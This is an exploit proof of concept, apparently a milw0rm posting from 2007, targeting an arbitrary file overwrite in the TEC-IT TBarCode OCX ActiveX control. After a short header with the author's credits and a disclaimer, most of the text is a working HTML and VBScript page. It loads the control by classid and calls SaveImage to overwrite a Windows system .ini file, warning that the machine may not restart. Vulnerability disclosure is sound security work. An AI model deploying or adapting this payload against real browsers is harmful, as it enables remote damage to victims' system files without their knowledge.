TEC-IT TBarCode - OCX ActiveX Arbitrary File Overwrite

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------------
 <b>TEC-IT TBarCode OCX ActiveX Control (TBarCode7.ocx v. 7.0.2.3524) "SaveImage()" Remote Arbitrary File Overwrite</b>
 url: http://www.tec-it.com/asp/main/startfr.asp?LN=1

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.

 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------------------

<object classid='clsid:D8541765-F6D2-4EE1-AEAA-4016BE1D9859' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveImage "c:\windows\system_.ini", 1, 1, 1, 1, 1
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/21 - TEC-IT TBarCode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/21 - TEC-IT TBarCode")
   End If
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-12]